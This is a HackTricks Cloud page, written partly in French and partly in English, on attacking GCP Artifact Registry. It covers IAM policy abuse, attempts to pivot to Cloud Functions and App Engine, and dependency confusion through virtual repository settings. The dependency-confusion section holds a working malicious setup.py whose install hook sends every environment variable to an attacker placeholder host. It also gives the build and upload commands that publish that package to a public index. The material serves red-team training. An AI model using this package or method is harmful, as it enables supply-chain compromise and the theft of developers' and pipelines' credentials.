artifactregistry.repositories.setIamPolicy

Un attaquant disposant de cette permission pourrait s’accorder des droits pour effectuer certaines des attaques sur les dépôts mentionnées précédemment.

Pivoting to other Services through Artifact Registry Read & Write

• Cloud Functions

When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. J’ai essayé de modifier l’image avec une nouvelle, et même de supprimer l’image actuelle (et l’image cache) et rien n’a changé, la Cloud Function continue de fonctionner. Par conséquent, il pourrait être possible d’abuser d’un Race Condition attack comme avec le bucket pour changer le conteneur docker qui sera exécuté mais seulement modifier l’image stockée ne permet pas de compromettre la Cloud Function.

• App Engine

Even though App Engine creates docker images inside Artifact Registry. Il a été testé que même si vous modifiez l’image à l’intérieur de ce service et supprimez l’instance App Engine (donc une nouvelle est déployée) le code exécuté ne change pas.
Il pourrait être possible qu’en réalisant une Race Condition attack comme avec les buckets il soit possible d’écraser le code exécuté, mais cela n’a pas été testé.

artifactregistry.repositories.update

An attacker does not need specific Artifact Registry permissions to exploit this issue—only a vulnerable virtual-repository configuration. Cela se produit lorsqu’un dépôt virtuel combine un dépôt distant public (p. ex., PyPI, npm) avec un dépôt interne, et que la source distante a une priorité égale ou supérieure. Si les deux contiennent un package portant le même nom, le système sélectionne la version la plus élevée. L’attaquant n’a qu’à connaître le nom du package interne et être capable de publier des packages dans le registre public correspondant.

With the artifactregistry.repositories.update permission, an attacker could change a virtual repository’s upstream settings to intentionally create this vulnerable setup and use Dependency Confusion as a persistence method by inserting malicious packages that developers or CI/CD systems may install automatically.

The attacker creates a malicious version of the internal package in the public repository with a higher version number. For Python packages, this means preparing a package structure that mimics the legitimate one.

mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"

Un fichier setup.py est ensuite créé, contenant du code malveillant qui s’exécuterait lors de l’installation. Ce fichier doit spécifier un numéro de version supérieur à celui du dépôt privé.

cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)

class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()

setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF

Construisez le package et supprimez le wheel afin de garantir que le code est exécuté lors de l’installation.

python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl

Téléversez le paquet malveillant dans le dépôt public (par exemple, test.pypi.org pour Python).

pip install twine
twine upload --repository testpypi dist/*

Lorsqu’un système ou un service installe le package en utilisant le dépôt virtuel, il téléchargera la version malveillante depuis le dépôt public plutôt que la version interne légitime, car la version malveillante a un numéro de version supérieur et le dépôt distant a une priorité égale ou supérieure.

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

• Vérifiez les plans d’abonnement !
• Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
• Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.